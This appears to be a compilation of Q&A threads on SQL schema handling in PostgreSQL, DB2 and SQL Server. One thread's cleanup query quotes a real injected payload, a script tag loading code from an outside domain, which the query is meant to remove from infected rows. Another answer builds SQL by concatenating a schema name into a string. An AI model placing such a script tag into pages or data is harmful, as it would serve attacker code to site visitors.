I would like to know if there is some kind of variable or function that gives me the schema in where I a executing a script in POSTGRESQL.
For example, in the code:
SELECT COUNT(*) TABLE
FROM INFORMATION_SCHEMA.TABLES
WHERE UPPER(TABLE_SCHEMA) = *******
AND UPPER(TABLE_NAME) = 'ExampleTable'
I would like to change ******* with the working schema.
Is there any possibility?
Use current_schema and don't convert it to upper case. By default, names are stored in lower case in Postgres
WHERE TABLE_SCHEMA = current_schema
Note that UPPER(TABLE_NAME) = 'ExampleTable' will never be true. You would at least need upper on the right hand side as well UPPER(TABLE_NAME) = upper('ExampleTable')
Related
i want to use the result of a query as an input in another query.
What might make it difficult: The variable is the schema in the database.
CREATE or replace VARIABLE myschema varchar(15) ;
set myschema = (select owner from syscat.tables where tabname = 'xyz');
select count(name) as result from myschema.USR02 where USTYP = 'A';
DROP VARIABLE myschema;
This is my last try, after i failed using declare.
But i get an error, because "myschema" is used as a string, and of course there is no schema with name "myschema". The result of the first query is not used.
If I just run the first two lines, i get the schemaname as result. Do i have to mark the variable in a special way? The goal is just the result of the query in line 3 by using the dynamic value of "myschema".
Unfortunately, you have to use dynamic SQL (forming a custom SQL query through string manipulation) if you want to deal with table, schema, or column names dynamically:
This is the basic idea:
execute immediate 'select * from ' || myschema || '.USR02';
However, you can't just run a bare select in dynamic SQL; you have to put the result in something. And the whole thing must be in a compound SQL block. So the full example would look something like this (simplified query for space).
This query assumes that a table called "result" exists to store the result you are returning.
begin
declare myschema varchar(100) default '';
set myschema = (select owner from syscat.tables where tabname = 'xyz');
execute immediate 'insert into result select count(*) from ' || myschema || '.USR02';
end
select * from result;
Note that within the block, you can simply declare a variable (as shown in my example). So you don't have to declare a global variable for this purpose, unless you want it to persist beyond this one statement.
I renamed a table and since, in evry 'select' I get the 'Invalid object name' for all columns.
I get from my select the output I need, but why I get an error too ?
this is my simple select...
SELECT [Importance]
,[Color]
,[NotificationName]
FROM [dbo].[Alerts]
It looks like you're using SQL Server Management Studio. I suspect your query will run if you try it, it's just that the intellisense doesn't know that the table name has changed.
Try Ctrl+Shift+R to refresh the cache or alternatively Edit -> Intellisense -> Refresh Local Cache.
You need to do this every time you perform schema changes.
Run below query to confirm that your table has been renamed and has the exact column names specified in your select query:
select * from sys.all_columns where object_id = OBJECT_ID('Alerts')
Alternatively you can execute below query to confirm that the Alerts table exists
IF (EXISTS (SELECT *
FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_SCHEMA = 'dbo'
AND TABLE_NAME = 'Alerts'))
BEGIN
PRINT 'Alerts exists'
END
Also make sure you are in the correct database, run below query to find out the database to which Alerts belong :
SELECT TABLE_CATALOG
FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_SCHEMA = 'dbo'
AND TABLE_NAME = 'Alerts'
Once you got the database name add USE DATABASENAME at the beginning of your query or you can use DATABASENAME.dbo.Alerts.
I have this sql query to try and remove some sql injection script from my database. When i execute this it runs fine and tells me that all rows have been affected, but I don't see any changes. I have checked the table names and the column names, I have changed the varchar value to the value the columns are set to but still nothing.
I have copied the injected script directly from the database
UPDATE table_name
SET column_name = REPLACE(CAST(column_name AS VARCHAR(max)), '"></title><script src="http://www1.mainglobilisi.com/sl.php"></script><!--', '')
Could someone please explain why the script runs fine but no updates are done on the database.
The REPLACE function is probably not finding the string you're searching for.
Try doing a select to see if you get any rows:
select
column_name
from
table_name
where
CAST(column_name AS VARCHAR(max)) like '%"></title><script src="http://www1[dot]mainglobilisi[dot]com/sl.php"></script><!--%'
(I obfuscated to the URL incase its malicious).
I would like to set the default value for every column in a number of tables equal to Null. I can view the default constraint under information_schema.columns.column_default. When I try to run
update information_schema.columns set column_default = Null where table_name = '[table]'
it throws "ERROR: cannot update a view HINT: You need an unconditional ON UPDATE DO INSTEAD rule."
What is the best way to go about this?
You need to run an ALTER TABLE statement for each column. Never ever try to do something like that by manipulating system tables (even if you find the correct one - INFORMATION_SCHEMA only contains view to the real system tables)
But you can generate all needed ALTER TABLE statements based on the data in the information_schema views:
SELECT 'ALTER TABLE '||table_name||' ALTER COLUMN '||column_name||' SET DEFAULT NULL;'
FROM information_schema.columns
WHERE table_name = 'foo';
Save the output as a SQL script and then run that script (don't forget to commit the changes)
I have imported a table to my database, and to get the number of columns and assign it to a variable I do
SELECT #HowManyColumns = COUNT(COLUMN_NAME)
FROM INFORMATION_SCHEMA.COLUMNS
WHERE (TABLE_NAME = #table_name )
But it keeps telling that the count is 0!
If I do the same for other tables it works!
I have found that the column count of the table that is not working is more than 40 columns, Why is it not working...
The data is this
Since tables w/o columns don't exists, that can only mean that the WHERE clause is not satisfied. In other words, the table named as the value of #table_name does not exists. Since you say 'sometimes it work, and some does not' that would immediately point toward case sensitive deployments. Make sure you always use the correct name for the table, with the proper case, so your code work correctly on servers which are deployed with a case sensitive collation.
Try issuing
SELECT DISTINCT TABLE_NAME
FROM INFORMATION_SCHEMA
and check table name for case.
Try having the table name as a text string instead:
DECLARE
#table_name varchar(50),
#noOfColumns int
SET
#table_name = 'table_name'
SET
#noOfColumns =
(SELECT count(*)
FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME = #table_name)
PRINT #noOfColumns
The answer you get is the number of columns in the #noOfColumns variable